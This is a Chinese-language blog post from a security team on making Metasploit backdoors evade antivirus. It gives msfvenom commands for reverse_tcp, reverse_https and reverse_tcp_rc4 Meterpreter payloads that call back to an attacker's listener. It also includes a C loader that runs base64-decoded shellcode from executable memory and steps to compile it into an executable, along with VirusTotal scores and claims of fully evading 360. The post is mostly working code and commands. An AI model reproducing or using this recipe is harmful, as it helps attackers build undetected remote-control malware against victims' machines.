Msf免杀补充说明
在之前的专题3和专题4中介绍了msf的自身能实现一些免杀功能,比如使用编码shikata_ga_nai
或者捆绑或者使用evasion模块生成免杀后门。
远控免杀专题(3)-msf自带免杀(VT免杀率35/69):https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA
远控免杀专题(4)-Evasion模块(VT免杀率12/71):https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ
其实在msf中还有两种较为常见的免杀方式,这里简单介绍一下:
1、一种是利用Metasploit的C编译器进行自编译免杀;
2、另一种是使用不同的payload来生成shellcode,比如reverse_https
和reverse_tcp_rc4
,虽然简单,但还是有些效果的。
msf自编译+base64处理(VT免杀率33/69)
Metasploit Framework的C编译器其实是Metasm的包装器(Metasm是一个Ruby库),可用于汇编、反汇编和编译C代码。
使用改C编译器时,需要以下两个函数:
Metasploit::Framework::Compiler::Windows.compile_c(code)
Metasploit::Framework::Compiler::Windows.compile_c_to_fle(fle_path, code)
详细使用可参考msf_wiki: https://github.com/rapid7/metasploit-framework/wiki
先使用msfvenom生成base64编码的c代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 lport=3333 --encrypt base64 -f c
参考https://github.com/rapid7/metasploit-framework/wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler
构造如下shellcode,保存为1.c
文件。
#include <Windows.h>
#include <String.h>
#include <base64.h>
unsigned char BASE64STR[] =
"x2fx4f--shellcode--x3d";
int main() {
int base64StrLen = strlen(BASE64STR);
LPVOID lpBuf = VirtualAlloc(NULL, sizeof(int) * base64StrLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(lpBuf, ' ', base64StrLen);
base64decode(lpBuf, BASE64STR, base64StrLen);
//MessageBox(NULL, (char*)lpBuf, "Base64 Test", MB_OK);
void(*func)();
func = (void(*)()) lpBuf;
(void)(*func)();
return 0;
}
在msf中键入irb
进入IRB shell,依次键入下面命令
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
irb: warn: can't alias jobs from irb_jobs.
>> require 'metasploit/framework/compiler/windows'
=> true
>> exe = Metasploit::Framework::Compiler::Windows.compile_c(File.read('/Users/xysoul/Downloads/payload/1.c'))
=> "MZ<x00x00x00x00x00x02x00".......
>> File.write('/Users/xysoul/Downloads/payload/shellcode.exe', exe)
=> 3072
在输入上面的File.write('/Users/xysoul/Downloads/payload/shellcode.exe', exe)
之后,会生成shellcode.exe。
在Msf中监听windows/meterpreter/reverse_tcp
,在测试机执行shellcode.exe,可上线。
打开杀软进行测试,360和火绒都会报病毒。
virustotal.com中33/70个报毒
使用reverse_https(VT免杀率29/70)
主要是参考Green_m
的文章:https://www.freebuf.com/sectool/118714.html
,可以一定程度的避开杀软的流量检测。
使用msfvenom生成payload
msfvenom -p windows/meterpreter/reverse_https lhost=10.211.55.2 lport=3333 -f exe -o payload1.exe
在metasploit中设置:
set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false
在VC中编译后执行,360全免杀
virustotal.com中29/70个报毒
使用reverse_tcp_rc4(VT免杀率33/70)
和上面的方法一样,使用reverse_tcp_rc4也有同样的效果,而且不用设置stageencoder选项,更稳定更方便。
msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=10.211.55.2 lport=2223 RC4PASSWORD=tidesec -f c
利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。
在VC中编译后执行,360全免杀,但是一会儿之后就又被查杀了。
virustotal.com中33/70个报毒
参考资料
Meterpreter免杀技巧分享:https://www.freebuf.com/sectool/118714.html
msf_wiki: https://github.com/rapid7/metasploit-framework/wiki
Create a wrapper for metasm's C compiling function:https://github.com/rapid7/metasploit-framework/pull/10007
How to decode Base64 with Metasploit Framework Compiler: https://github.com/rapid7/metasploit-framework/wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:
原文始发于微信公众号(白帽子):远控免杀专题-Msf自编译免杀补充(VT免杀率33-69)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论